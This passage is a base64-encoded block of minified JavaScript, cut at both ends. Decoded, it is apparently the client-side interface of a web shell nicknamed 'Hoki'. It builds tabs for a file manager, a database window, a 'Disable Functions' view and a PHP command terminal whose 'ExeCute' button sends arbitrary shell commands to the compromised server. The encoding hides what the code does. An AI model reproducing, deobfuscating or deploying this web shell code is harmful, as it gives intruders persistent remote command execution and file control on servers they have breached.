dGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsdCl9Y2F0Y2goZSl7fWRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWR8fChkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIpfWZ1bmN0aW9uIGxvYWRQb3BVcE9wVGlvbnMoZSx0KXt
jb25zb2xlLmxvZyhlKSxob2tpX2JlZm9yZV9kb19hY3Rpb25faWQ9IiIsJCgib3B0aW9uc193aW5kb3ciKS5zdHlsZS5kaXNwbGF5PSJibG9jayI7dmFyIGE9JCgib3B0aW9uXyIrZSk7aWYoaG9raV9jYW5fYWRkX29wdCl7aG9raV9jYW5fYWRkX2
9wdD0hMTt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoIm9wdGlvbl9pc19hY3RpdmUiKX1jYXRjaChlKXt9dmFyIGk9IiIsbD0kKCJtZW51X29wdF8iK2UpLmlub
mVySFRNTDsibWFya2V0Ij09ZT9sPSJIb2tpIE1hcmtldCI6IkdldERpc0Z1bmMiPT1lJiYobD0iRGlzYWJsZSBGdW5jdGlvbnMiKTt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9w
dGlvbnNfdGFiIC50YWJfbmFtZS50YWJfaXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgidGFiX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe31pZihudWxsIT1hKXt2YXIgcj1hLmdldEF0dHJpYnV0ZSgib3B0X2NvdW50Iik7bnVsbCE9cj8oaT1wYXJ
zZUludChyKSsxLGEuc2V0QXR0cmlidXRlKCJvcHRfY291bnQiLGkpKTooaT0xLGEuc2V0QXR0cmlidXRlKCJvcHRfY291bnQiLGkpKX12YXIgbz0ib3B0aW9uXyIrZStpO2QucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X2
9wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2NvbnRlbnQiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGlkPSInK28rJyIgY2xhc3M9Im9wdGlvbnNfaG9sZGVyIj4nK3QrIjwvZGl2PiIpLGQucXVlcnlTZWxlY3RvcigiI29wd
GlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvcHRfaWQ9IicrbysnIiBvbmNsaWNrPSJvcHRpb25zVGFiQ29udHJvbGxlcih0aGlzKTsi
IHRpdGxlPSInK2wrJyIgaWQ9InRhYl8nK28rJyIgY2xhc3M9InRhYl9uYW1lIHRhYl9pc19hY3RpdmUiPicrbCsnIDxpbWcgb3B0X2lkPSInK28rJyIgb25jbGljaz0iY2xvc2VPcHRpb24odGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU
9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2PicpLCQobykuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpLGQucXVlcnlTZWxlY3RvckFsbCgiIyIrbysiIG
Zvcm0sICMiK28rIiBhIikuZm9yRWFjaChmdW5jdGlvbih0KXt2YXIgYT10LmNsYXNzTGlzdC52YWx1ZTtpZigiZ2V0Y29uZmlnIj09YXx8InJlamVjdG1lIj09YSlyZXR1cm4hMTtpZigiRk9STSI9PXQudGFnTmFtZSl7dmFyIGw9dC5nZXRBdHRya
WJ1dGUoIm9uc3VibWl0Iik7dC5zZXRBdHRyaWJ1dGUoIm9uc3VibWl0IiwnaG9raUJlZm9yZURvQWN0aW9uKCInK2UraSsnIik7JytsKSx0LnNldEF0dHJpYnV0ZSgib3B0X2lkIixlK2kpfWVsc2V7bD10LmdldEF0dHJpYnV0ZSgib25jbGljayIp
O3Quc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwnaG9raUJlZm9yZURvQWN0aW9uKCInK2UraSsnIik7JytsKX19KTt0cnl7JChvKS5xdWVyeVNlbGVjdG9yKCIuZ2V0Y29uZmlnIikuc2V0QXR0cmlidXRlKCJiYXNlX2lkIixlK2kpfWNhdGNoKGUpe31
yZXR1cm4gZStpfWEuaW5uZXJIVE1MPXQ7dmFyIG49JCgidGFiX29wdGlvbl8iK2UpO251bGwhPW4mJigoLTE9PW4uY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInRhYl9pc19hY3RpdmUiKXx8b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkKSYmKG
4uY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKSxob2tpU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsbi5pbm5lclRleHQpKSxvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQmJmhva2lVcGRhdGVPcHRpb25zQmFkZ2UoI
m9wdGlvbnNfd2luZG93IikpLGQucXVlcnlTZWxlY3RvckFsbCgiI29wdGlvbl8iK2UrIiBmb3JtLCAjb3B0aW9uXyIrZSsiIGEiKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3ZhciBhPXQuY2xhc3NMaXN0LnZhbHVlO2lmKCJnZXRjb25maWciPT1hfHwi
cmVqZWN0bWUiPT1hKXJldHVybiExO2lmKCJGT1JNIj09dC50YWdOYW1lKXt2YXIgaT10LmdldEF0dHJpYnV0ZSgib25zdWJtaXQiKTt0LnNldEF0dHJpYnV0ZSgib25zdWJtaXQiLCdob2tpQmVmb3JlRG9BY3Rpb24oIicrZSsnIik7JytpKSx0LnN
ldEF0dHJpYnV0ZSgib3B0X2lkIixlKX1lbHNle2k9dC5nZXRBdHRyaWJ1dGUoIm9uY2xpY2siKTt0LnNldEF0dHJpYnV0ZSgib25jbGljayIsJ2hva2lCZWZvcmVEb0FjdGlvbigiJytlKyciKTsnK2kpfX0pO3RyeXthLnF1ZXJ5U2VsZWN0b3IoIi
5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGUpfWNhdGNoKGUpe31vcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWR8fChkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIpfWZ1bmN0aW9uIGhva2lCZWZvcmVEb0FjdGlvbihlK
Xtob2tpX2JlZm9yZV9kb19hY3Rpb25faWQ9ZX1mdW5jdGlvbiBob2tpTG9hZGVyT25Ub3AoZSl7JCgiYV9sb2FkZXIiKS5zdHlsZS5kaXNwbGF5PWUsZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJibG9jayI9PWU/ImhpZGRlbiI6InZpc2libGUifWZ1
bmN0aW9uIGhva2lBamF4Q29udHJvbGxlcihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgicGFyZW50Iik7JCgibG9hZGVyXyIrdCkucmVtb3ZlKCksImZpbGVzbWFuX2hvbGRlciI9PXQuc3Vic3RyKDAsMTUpJiYoJCh0KS5zdHlsZS5taW5IZWlnaHQ
9IjAiKSxfSE9LSV9BSkFYXy5oYXNPd25Qcm9wZXJ0eSh0KSYmX0hPS0lfQUpBWF9bdF0uYWJvcnQoKX1mdW5jdGlvbiBjbG9zZURhdGFiYXNlKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aW
YoJChhKS5yZW1vdmUoKSwtMSE9JCgidGFiXyIrYSkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInNxbC1hY3RpdmUtdGFiIikpaWYoKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIuc3FsLXRhYnMgLnNxbC10YWJuYW1lIikpLmxlbmd0aD4xKXtlWzBdL
mNsYXNzTGlzdC5hZGQoInNxbC1hY3RpdmUtdGFiIik7dmFyIGk9ZVswXS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgic3FsLWFjdGl2ZS1jb250ZW50Iil9ZWxzZSBlZGl0b3JDbG9zZSgi
ZGF0YWJhc2Vfd2luZG93Iik7ZC5xdWVyeVNlbGVjdG9yKCJkaXZbb3B0X2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGNsb3NlRm1UYWIoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJmbV9pZCIpLGk
9JCgiZmlsZXNtYW5fdGFiXyIrYSk7aWYoLTEhPWkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImZpbGVzbWFuLXRhYi1hY3RpdmUiKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiIikpLmxlbmd0aD
4xKXtlWzBdLmNsYXNzTGlzdC5hZGQoImZpbGVzbWFuLXRhYi1hY3RpdmUiKTt2YXIgbD1lWzBdLmdldEF0dHJpYnV0ZSgiZm1faWQiKSxyPSJmaWxlc21hbl9ob2xkZXJfIitsO2lmKG51bGwhPSQocikpeyQocikuY2xhc3NMaXN0LnRvZ2dsZSgiZ
mlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKTt2YXIgbz0kKCJmaWxlc21hbl90YWJfIitsKS5nZXRBdHRyaWJ1dGUoInBhdGgiKTtpbml0RGlyKG8pLGQubWYuYy52YWx1ZT1vLGhva2lfY3VycmVudF9mbV9pZD1sfX1pLnJlbW92ZSgpLCQoImZpbGVz
bWFuX2hvbGRlcl8iK2EpLnJlbW92ZSgpLGhva2lGaWxlc21hblRhYkhpZGVUaXRsZSgpfWZ1bmN0aW9uIGNsb3NlT3B0aW9uKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYoJChhKS5yZW1
vdmUoKSwtMSE9JCgidGFiXyIrYSkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInRhYl9pc19hY3RpdmUiKSlpZigoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi5vcHRpb25zX3RhYiAudGFiX25hbWUiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0Lm
FkZCgidGFiX2lzX2FjdGl2ZSIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtudWxsIT0kKGkpJiYkKGkpLmNsYXNzTGlzdC50b2dnbGUoIm9wdGlvbl9pc19hY3RpdmUiKX1lbHNlIGVkaXRvckNsb3NlKCJvcHRpb25zX3dpbmRvd
yIpO2QucXVlcnlTZWxlY3RvcigiZGl2W29wdF9pZD0iK2ErIl0iKS5yZW1vdmUoKX1mdW5jdGlvbiBoaXN0b3J5UGFuZWxDb250cm9sbGVyKGUpeyJoaWRkZW4iPT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpPyhkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0
b3ItZXhwbG9yZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLW1vZGFsIikuc3R5bGUubWFyZ2luTGVmdD0iMjAlIixlLnNldEF0dHJpYnV0ZSgibW9kZSIsInZpc2libGUiKSxlLnN0eWxlLmxlZnQ9IjE
5JSIsZS5pbm5lckhUTUw9Ijw8Iik6KGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1leHBsb3JlciIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1tb2RhbCIpLnN0eWxlLm1hcmdpbkxlZnQ9IjElIixlLnNldE
F0dHJpYnV0ZSgibW9kZSIsImhpZGRlbiIpLGUuc3R5bGUubGVmdD0iMCUiLGUuaW5uZXJIVE1MPSI+PiIpfWZ1bmN0aW9uIGNsb3NlVGVybWluYWxDb250ZW50KGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgid
GVybV9pZCIpO2lmKCgkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWN0aXZlLXRlcm1pbmFsLXRhYiIpKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIudGVybWluYWwtdGFicyAudGVybWluYWwt
dGFiIikpLmxlbmd0aD4xKXtlWzBdLmNsYXNzTGlzdC5hZGQoImFjdGl2ZS10ZXJtaW5hbC10YWIiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlLXRlcm1
pbmFsLWNvbnRlbnQiKX1kLnF1ZXJ5U2VsZWN0b3IoImRpdlt0ZXJtX2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGNsb3NlRWRpdG9yQ29udGVudChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoIm9wdF
9pZCIpO2lmKCgkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZWRpdG9yLXRhYi1hY3RpdmUiKSkmJihlPWQucXVlcnlTZWxlY3RvckFsbCgiLmVkaXRvci10YWJzIC5lZGl0b3ItdGFiLW5hbWUiK
SkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiZWRpdG9yLXRhYi1hY3RpdmUiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJlZGl0b3ItY29udGVudC1hY3Rp
dmUiKX1kLnF1ZXJ5U2VsZWN0b3IoImRpdltvcHRfaWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gb3B0aW9uc1RhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLm9wdGlvbnNfaG9sZGVyLm9wdGlvbl9pc19hY3RpdmUiKS5
jbGFzc0xpc3QucmVtb3ZlKCJvcHRpb25faXNfYWN0aXZlIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpO3
RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgXHQudGFiX25hbWUudGFiX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoInRhYl9pc19hY3RpdmUiKX1jYXRja
ChlKXt9ZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY2xhc3NMaXN0LmFkZCgidGFiX2lzX2FjdGl2ZSIpLGQucXVlcnlTZWxlY3RvcigiLm9wdC10aXRsZSIpLmlubmVySFRNTD1lLmdldEF0dHJpYnV0ZSgidGl0bGUiKSxob2tp
VXBkYXRlT3B0aW9uc0JhZGdlKCJvcHRpb25zX3dpbmRvdyIpfWZ1bmN0aW9uIHRlcm1pbmFsVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIudGVybWluYWwtdGFiLmFjdGl2ZS10ZXJtaW5hbC10YWIiKS5jbGFzc0xpc3QucmV
tb3ZlKCJhY3RpdmUtdGVybWluYWwtdGFiIil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC1jb250ZW50LmFjdGl2ZS10ZXJtaW5hbC1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgiYWN0aXZlLXRlcm1pbmFsLWNvbn
RlbnQiKX1jYXRjaChlKXt9dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoInRlcm1faWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKSxlLmNsYXNzTGlzdC5yZW1vdmUoInRhY
i1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJhY3RpdmUtdGVybWluYWwtdGFiIiksJCh0KS5xdWVyeVNlbGVjdG9yKCIucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKSxob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJjZ2lsb2FkZXIiKX1mdW5j
dGlvbiBmaWxlc21hblRhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmFqYXhhcmVhLmZpbGVzbWFuLWFjdGl2ZS1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgiZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKX1jYXRjaChlKXt
9dHJ5e2QucXVlcnlTZWxlY3RvcigiLmZpbGVzbWFuX3RhYi5maWxlc21hbi10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgiZm1faWQiKTtpZi
hudWxsPT10KXJldHVybiExO2hva2lfY3VycmVudF9mbV9pZD10LGUuY2xhc3NMaXN0LmFkZCgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpLGUuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSwkKCJmaWxlc21hbl9ob2xkZXJfIit0KS5jbGFzc
0xpc3QudG9nZ2xlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJwYXRoIik7aW5pdERpcihhKSxkLm1mLmMudmFsdWU9YX1mdW5jdGlvbiBkYlRhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3Rv
cigiLnNxbC1jb250ZW50LnNxbC1hY3RpdmUtY29udGVudCIpLmNsYXNzTGlzdC5yZW1vdmUoInNxbC1hY3RpdmUtY29udGVudCIpfWNhdGNoKGUpe310cnl7ZC5xdWVyeVNlbGVjdG9yKCIuc3FsLXRhYm5hbWUuc3FsLWFjdGl2ZS10YWIiKS5jbGF
zc0xpc3QucmVtb3ZlKCJzcWwtYWN0aXZlLXRhYiIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYobnVsbD09dClyZXR1cm4hMTskKHQpLmNsYXNzTGlzdC50b2dnbGUoInNxbC1hY3RpdmUtY29udGVudCIpLGUuY2
xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSxlLmNsYXNzTGlzdC5hZGQoInNxbC1hY3RpdmUtdGFiIiksaG9raVVwZGF0ZU9wdGlvbnNCYWRnZSgiZGF0YWJhc2Vfd2luZG93Iil9ZnVuY3Rpb24gZWRpdG9yVGFiQ29udHJvbGxlcihlLHQpe
3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVudHMuZWRpdG9yLWNvbnRlbnQtYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIil9Y2F0Y2goZSl7fXZhciBhPW51bGw7dm9pZCAwPT09dD9hPWUu
Z2V0QXR0cmlidXRlKCJvcHRfaWQiKTooYT1lLGU9JCgidGFiXyIrYSkpO3ZhciBpPWVkaXRvcl9maWxlc1siZmlsZV8iK2EucmVwbGFjZSgiZWRpdG9yX3NvdXJjZV8iLCIiKV07aWYodm9pZCAwIT09aSYmKGQucXVlcnlTZWxlY3RvcigiLmVkaXR
vci1wYXRoIikuaW5uZXJIVE1MPShpLnB3ZCsiLyIraS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSksbnVsbD09YSlyZXR1cm4hMTskKGEpLmNsYXNzTGlzdC50b2dnbGUoImVkaXRvci1jb250ZW50LWFjdGl2ZSIpO3RyeXtkLnF1ZXJ5U2VsZW
N0b3IoIi5lZGl0b3ItdGFicyAuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLXRhYi1hY3RpdmUiKX1jYXRjaChlKXt9ZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY
2xhc3NMaXN0LmFkZCgiZWRpdG9yLXRhYi1hY3RpdmUiKSxob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJlZGl0b3IiKX1mdW5jdGlvbiBob2tpVXBkYXRlT3B0aW9uc0JhZGdlKGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIrZSsiLW1pbmltaXpl
ZCAub3B0aW9uc19taW5fYmFkZ2UiKTtpZihudWxsIT10KXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2UrIiAudGFiLWlzLWRvbmUiKS5sZW5ndGg7dC5pbm5lckhUTUw9YSx0LnN0eWxlLnZpc2liaWxpdHk9YT4wPyJ2aXNpYmxlIjoiaGl
kZGVuIn19ZnVuY3Rpb24gaG9raU9wZW5QaHBUZXJtaW5hbChlKXtpZihwaHBfdGVtcmluYWxfdXNpbmdfY2dpJiZ2b2lkIDA9PT1lKXNob3dFZGl0b3IoImNnaWxvYWRlciIpO2Vsc2V7JCgiY2dpbG9hZGVyIikuc3R5bGUuZGlzcGxheT0iYmxvY2
siLCQoImNnaWxvYWRlciIpLnN0eWxlLmJhY2tncm91bmQ9InJnYmEoMCwgMCwgMCwgMC41NykiLCQoImNnaWZyYW1lIikuc3R5bGUuYmFja2dyb3VuZD0icmdiYSgwLCAwLCAwLCAwLjgxKSIsJCgiY2dpZnJhbWUiKS5zdHlsZS5ib3JkZXI9IjFwe
CBzb2xpZCByZ2IoMzAsIDg2LCAxMTUpIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLmhlaWdodD0iOTAlIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLnBhZGRpbmc9IjNweCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyIC5vcHQtdGl0bGUiKS5pbm5lckhU
TUw9IlRlcm1pbmFsIjt2YXIgdD0iIixhPSIiLGk9InRlcm1pbmFsX2lkXyIrZ2V0UmFuZG9tKDEwKTt2b2lkIDA9PT1lJiYodD0iIGFjdGl2ZS10ZXJtaW5hbC1jb250ZW50IixhPSIgYWN0aXZlLXRlcm1pbmFsLXRhYiIpLGQucXVlcnlTZWxlY3R
vcigiI2NnaWZyYW1lIC50ZXJtaW5hbC1jb250ZW50cyIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgaWQ9IicraSsnIiBjbGFzcz0idGVybWluYWwtY29udGVudCcrdCsnIj48ZGl2IGNsYXNzPSJwaHAtdGVybWluYWwtb3
V0cHV0Ij48ZGl2PjxidXR0b24gY2xhc3M9InRlcm1pbmFsLWJ0bi1mb250Y3RsIiBvbkNsaWNrPSJjaGFuZ2VUZXJtaW5hbEZvbnRTaXplKFwnJytpKydcJywxKTsiPis8L2J1dHRvbj48YnV0dG9uIGNsYXNzPSJ0ZXJtaW5hbC1idG4tZm9udGN0b
CIgb25DbGljaz0iY2hhbmdlVGVybWluYWxGb250U2l6ZShcJycraSsiJywwKTtcIj4tPC9idXR0b24+PGlucHV0IG9uY2hhbmdlPVwiaG9raVRlcm1pbmFsQ2hhbmdlY29sb3IodGhpcywnIitpKydcJyk7IiBzdHlsZT0iaGVpZ2h0OiAxOHB4O2Jh
Y2tncm91bmQ6ICNkZGUyZTI7IiB0eXBlPSJjb2xvciI+PC9kaXY+PHByZSBjbGFzcz0ibWwxIiBzdHlsZT0iYm9yZGVyOnVuc2V0O2hlaWdodDogOTAlOyI+PC9wcmU+PC9kaXY+PGRpdj48Zm9ybSB0ZXJtX2lkPSInK2krJyIgb25TdWJtaXQ9Imh
va2lFeGVjVGVybWluYWwodGhpcyk7dGhpcy5jLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlOyIgYXV0b2NvbXBsZXRlPSJvZmYiIHN0eWxlPSJtYXJnaW4tdG9wOiAxMHB4OyI+PGRpdiBzdHlsZT0ib3ZlcmZsb3c6IGF1dG87d2hpdGUtc3BhY2U6IG
5vd3JhcDsiPjxkaXYgc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jaztjb2xvcjojNGZiZWMzO21hcmdpbi1ib3R0b206NXB4O21hcmdpbi1yaWdodDo1cHg7Ij5DV0Q6fiMgPC9kaXY+PGRpdiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO
2NvbG9yOiM0MmVjNDI7IiBjbGFzcz0icGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIj48L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwZmYwODtmb250LXNpemU6IDI1cHg7Ij4k
IDwvc3Bhbj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDhweDtmb250LXNpemU6IDIwcHg7d2lkdGg6IDY3JTtib3JkZXI6IDFweCBzb2xpZCAjMjc5NzlCO3BhZGRpbmctcmlnaHQ6MzVweDsiIG9ua2V5dXA9Imhva2lXYWxrSW5UZXJtaW5hbEhpc3R
vcnkodGhpcyxldmVudCxcJycraSsnXCcpOyIgdGVybV9pZD0iJytpKyciIGNsYXNzPSJwaHAtdGVybWluYWwtaW5wdXQiIHR5cGU9InRleHQiIG5hbWU9ImMiIG9uZm9jdXM9ImNsb3NlSGlzdG9yeUNtZChcJ2ZyZWVcJyx0aGlzKTsiIHBsYWNlaG
9sZGVyPSJscyAtbGEiPjxidXR0b24gY2xhc3M9ImJ1dHRvbiIgc3R5bGU9ImNvbG9yOiAjMjc5NzlCO3BhZGRpbmc6IDEycHg7bWFyZ2luLWxlZnQ6IDEwcHg7Ym9yZGVyLXJhZGl1czogMnB4O2ZvbnQtd2VpZ2h0OiBib2xkZXI7Ij5FeGVDdXRlP
GJ1dHRvbiB0ZXJtX2lkPSInK2krJyIgY2xhc3M9ImJ1dHRvbiIgc3R5bGU9ImNvbG9yOiAjMjc5NzlCO3BhZGRpbmc6IDEycHg7bWFyZ2luLWxlZnQ6IDEwcHg7Ym9yZGVyLXJhZGl1czogMnB4O2ZvbnQtd2VpZ2h0OiBib2xkZXI7IiBvbkNsaWNr
PSJob2tpRXhlY1Rlcm1pbmFsKHRoaXMsIDEpO3JldHVybiBmYWxzZTsiPkN1cnJlbnQgRGlyPC9idXR0b24+PGRpdiBjbGFzcz0iY21kLWhpc3RvcnktaG9sZGVyIj48ZGl2IGNsYXNzPSJjb21tYW5kcy1oaXN0b3J5LWhlYWRlciI+SGlzdG9yeTw
vZGl2PjxzcGFuIG9uQ2xpY2s9ImNsZWFyVGVybWluYWxIaXN0b3J5KCk7IiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkO21hcmdpbi1ib3R0b206IDVweDtkaXNwbGF5OiBpbmxpbmUtYmxvY2s7cGFkZGluZzogNXB4O2NvbG9yOiAjNT
lkZTY5O2N1cnNvcjogcG9pbnRlcjsiPkNsZWFyIGhpc3Rvcnk8L3NwYW4+PGRpdiBzdHlsZT0ib3ZlcmZsb3c6IGF1dG87aGVpZ2h0OiA4MiU7IiBjbGFzcz0iY29tbWFuZHMtaGlzdG9yeSI+PC9kaXY+PC9kaXY+PGRpdiB0ZXJtX2lkPSInK2krJ
yIgY2xhc3M9ImNtZC1oaXN0b3J5LWljb24iIG1vZGU9IiIgb25jbGljaz0iY2xvc2VIaXN0b3J5Q21kKHRoaXMpOyI+PGltZyBzdHlsZT0id2lkdGg6MjdweDsiIHNyYz0iaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAz
MDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nIj48L2Rpdj48L2Zvcm0+PC9kaXY+PC9kaXY+PC9kaXY+Jyk
7dHJ5eyQoInRlcm1pbmFsX25ld190YWIiKS5yZW1vdmUoKX1jYXRjaChlKXt9ZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLXRhYnMiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsJzxkaXYgb25jbGljaz0idGVybW
luYWxUYWJDb250cm9sbGVyKHRoaXMpOyIgdGVybV9pZD0iJytpKyciIGlkPSJ0YWJfJytpKyciIGNsYXNzPSJ0ZXJtaW5hbC10YWInK2ErJyI+VGVybWluYWwgPGltZyB0ZXJtX2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VUZXJtaW5hbENvbnRlb
